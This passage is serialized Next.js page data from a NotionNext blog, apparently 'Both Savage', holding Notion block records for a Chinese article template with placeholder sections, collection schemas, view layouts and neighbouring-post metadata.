478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1711431614088,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"c4ae2757-06af-414a-a57e-b220235fe4f8":{"value":{"id":"c4ae2757-06af-414a-a57e-b220235fe4f8","type":"callout","properties":{"title":[["这里写文章的前言:\n一个简单的开头,简述这篇文章讨论的问题、目标、人物、背景是什么?并简述你给出的答案。"]]},"content":["0e0a78c5-5bce-4d66-9749-760aba8bf0e2"],"format":{"page_icon":"😀","block_color":"gray_background","copied_from_pointer":{"id":"cb5d573a-b79c-4194-8352-893d809df35a","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337116,"last_edited_time":1705594337116,"parent_id":"95ddf5c1-569e-4c61-a1e8-6507fe59fc97","parent_table":"block","alive":true,"copied_from":"cb5d573a-b79c-4194-8352-893d809df35a"}},"0e0a78c5-5bce-4d66-9749-760aba8bf0e2":{"value":{"id":"0e0a78c5-5bce-4d66-9749-760aba8bf0e2","type":"text","properties":{"title":[["可以说说你的故事:阻碍、努力、结果成果,意外与转折。"]]},"format":{"copied_from_pointer":{"id":"73912305-952d-462b-b687-4d72dceb8b78","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337157,"last_edited_time":1705594337157,"parent_id":"c4ae2757-06af-414a-a57e-b220235fe4f8","parent_table":"block","alive":true,"copied_from":"73912305-952d-462b-b687-4d72dceb8b78"}},"51246bd8-8b54-4aed-8890-6ff7f9754758":{"value":{"id":"51246bd8-8b54-4aed-8890-6ff7f9754758","type":"text","format":{"copied_from_pointer":{"id":"adad90e4-2d39-4142-b1e8-bb8f78c2fd85","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337116,"last_edited_time":1705594337116,"parent_id":"95ddf5c1-569e-4c61-a1e8-6507fe59fc97","parent_table":"block","alive":true,"copied_from":"adad90e4-2d39-4142-b1e8-bb8f78c2fd85"}},"e47b90fd-4cef-4aa7-8253-733c2fb825c6":{"value":{"id":"e47b90fd-4cef-4aa7-8253-733c2fb825c6","type":"header","properties":{"title":[["📝 主旨内容"]]},"format":{"copied_from_pointer":{"id":"f75da7bd-9726-4cba-89b7-20dc21133a56","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337116,"last_edited_time":1705594337116,"parent_id":"95ddf5c1-569e-4c61-a1e8-6507fe59fc97","parent_table":"block","alive":true,"copied_from":"f75da7bd-9726-4cba-89b7-20dc21133a56"}},"51e5efa1-5316-4f26-a034-a63d627d119a":{"value":{"id":"51e5efa1-5316-4f26-a034-a63d627d119a","type":"sub_header","properties":{"title":[["观点1"]]},"format":{"copied_from_pointer":{"id":"394c875f-8f54-4ec1-a0b2-a3700bfe46ce","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337115,"last_edited_time":1705594337115,"parent_id":"95ddf5c1-569e-4c61-a1e8-6507fe59fc97","parent_table":"block","alive":true,"copied_from":"394c875f-8f54-4ec1-a0b2-a3700bfe46ce"}},"1a99baa7-cd61-4f67-a8db-a8b44045a3a3":{"value":{"id":"1a99baa7-cd61-4f67-a8db-a8b44045a3a3","type":"quote","properties":{"title":[["引用的话语"]]},"format":{"copied_from_pointer":{"id":"29527844-3175-4d0b-a8be-cb7e207c32b2","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337115,"last_edited_time":1705594337115,"parent_id":"95ddf5c1-569e-4c61-a1e8-6507fe59fc97","parent_table":"block","alive":true,"copied_from":"29527844-3175-4d0b-a8be-cb7e207c32b2"}},"68a4a544-5986-4d0e-838e-5d896c28d491":{"value":{"id":"68a4a544-5986-4d0e-838e-5d896c28d491","type":"sub_header","properties":{"title":[["观点2"]]},"format":{"copied_from_pointer":{"id":"89e3fb68-e2b8-4ad8-b3c4-ead1544e4050","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337116,"last_edited_time":1705594337116,"parent_id":"95ddf5c1-569e-4c61-a1e8-6507fe59fc97","parent_table":"block","alive":true,"copied_from":"89e3fb68-e2b8-4ad8-b3c4-ead1544e4050"}},"6f00b74f-9168-4ba4-9b78-02b073817e2e":{"value":{"id":"6f00b74f-9168-4ba4-9b78-02b073817e2e","type":"quote","properties":{"title":[["引用的话语"]]},"format":{"copied_from_pointer":{"id":"e3bd5acb-d417-4bfa-ab56-d4acef957911","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337116,"last_edited_time":1705594337116,"parent_id":"95ddf5c1-569e-4c61-a1e8-6507fe59fc97","parent_table":"block","alive":true,"copied_from":"e3bd5acb-d417-4bfa-ab56-d4acef957911"}},"575c2b55-b7ab-415d-ab01-7127fa80b461":{"value":{"id":"575c2b55-b7ab-415d-ab01-7127fa80b461","type":"header","properties":{"title":[["🤗 总结归纳"]]},"format":{"copied_from_pointer":{"id":"67079502-876a-46c5-8416-8bb84bd5db33","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337115,"last_edited_time":1705594337115,"parent_id":"95ddf5c1-569e-4c61-a1e8-6507fe59fc97","parent_table":"block","alive":true,"copied_from":"67079502-876a-46c5-8416-8bb84bd5db33"}},"3059d59e-6321-4cf7-b83b-980793108c72":{"value":{"id":"3059d59e-6321-4cf7-b83b-980793108c72","type":"text","properties":{"title":[["总结文章的内容"]]},"format":{"copied_from_pointer":{"id":"794dc0d2-2a7e-44f9-a667-be8159328dca","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337116,"last_edited_time":1705594337116,"parent_id":"95ddf5c1-569e-4c61-a1e8-6507fe59fc97","parent_table":"block","alive":true,"copied_from":"794dc0d2-2a7e-44f9-a667-be8159328dca"}},"e22d3df7-942e-4ba6-bcb5-d98043c85699":{"value":{"id":"e22d3df7-942e-4ba6-bcb5-d98043c85699","type":"header","properties":{"title":[["📎 参考文章"]]},"format":{"copied_from_pointer":{"id":"ae4cd417-6b57-491a-9693-993fd00ae720","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337116,"last_edited_time":1705594337116,"parent_id":"95ddf5c1-569e-4c61-a1e8-6507fe59fc97","parent_table":"block","alive":true,"copied_from":"ae4cd417-6b57-491a-9693-993fd00ae720"}},"af3c2cc6-ba7d-4419-a4c8-ca13bfa4f703":{"value":{"id":"af3c2cc6-ba7d-4419-a4c8-ca13bfa4f703","type":"bulleted_list","properties":{"title":[["一些引用"]]},"format":{"copied_from_pointer":{"id":"f2f5193f-777c-48ae-9f6c-c6d460c8f26e","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337116,"last_edited_time":1705594337116,"parent_id":"95ddf5c1-569e-4c61-a1e8-6507fe59fc97","parent_table":"block","alive":true,"copied_from":"f2f5193f-777c-48ae-9f6c-c6d460c8f26e"}},"7618802b-85cf-439d-9bf7-b309f06ab819":{"value":{"id":"7618802b-85cf-439d-9bf7-b309f06ab819","type":"bulleted_list","properties":{"title":[["引用文章"]]},"format":{"copied_from_pointer":{"id":"efaf1221-c25c-4007-81ea-a2b98b75e04a","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337116,"last_edited_time":1705594337116,"parent_id":"95ddf5c1-569e-4c61-a1e8-6507fe59fc97","parent_table":"block","alive":true,"copied_from":"efaf1221-c25c-4007-81ea-a2b98b75e04a"}},"516b8278-e818-46dc-ada0-b6c50c617bb1":{"value":{"id":"516b8278-e818-46dc-ada0-b6c50c617bb1","type":"text","format":{"copied_from_pointer":{"id":"4a8fe871-c808-4f6e-ad6d-add544f66e20","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337115,"last_edited_time":1705594337115,"parent_id":"95ddf5c1-569e-4c61-a1e8-6507fe59fc97","parent_table":"block","alive":true,"copied_from":"4a8fe871-c808-4f6e-ad6d-add544f66e20"}},"45d1a941-6e76-44ee-b686-c9048159b959":{"value":{"id":"45d1a941-6e76-44ee-b686-c9048159b959","type":"callout","properties":{"title":[["有关Notion安装或者使用上的问题,欢迎您在底部评论区留言,一起交流~"]]},"format":{"page_icon":"💡","block_color":"gray_background","copied_from_pointer":{"id":"172bb677-43b3-4aaf-afbb-edc265e405c1","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337115,"last_edited_time":1705594337115,"parent_id":"95ddf5c1-569e-4c61-a1e8-6507fe59fc97","parent_table":"block","alive":true,"copied_from":"172bb677-43b3-4aaf-afbb-edc265e405c1"}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":13,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"space":{},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":18,"type":"table","name":"Table","format":{"table_properties":[{"width":219,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":1,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":25,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},"next":{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},"recommendPosts":[]},"__N_SSG":true},"page":"/[prefix]/[slug]","query":{"prefix":"article","slug":"example-10"},"buildId":"xl8RIHPvivYKGN-nsdmr6","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"dynamicIds":[10635],"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file
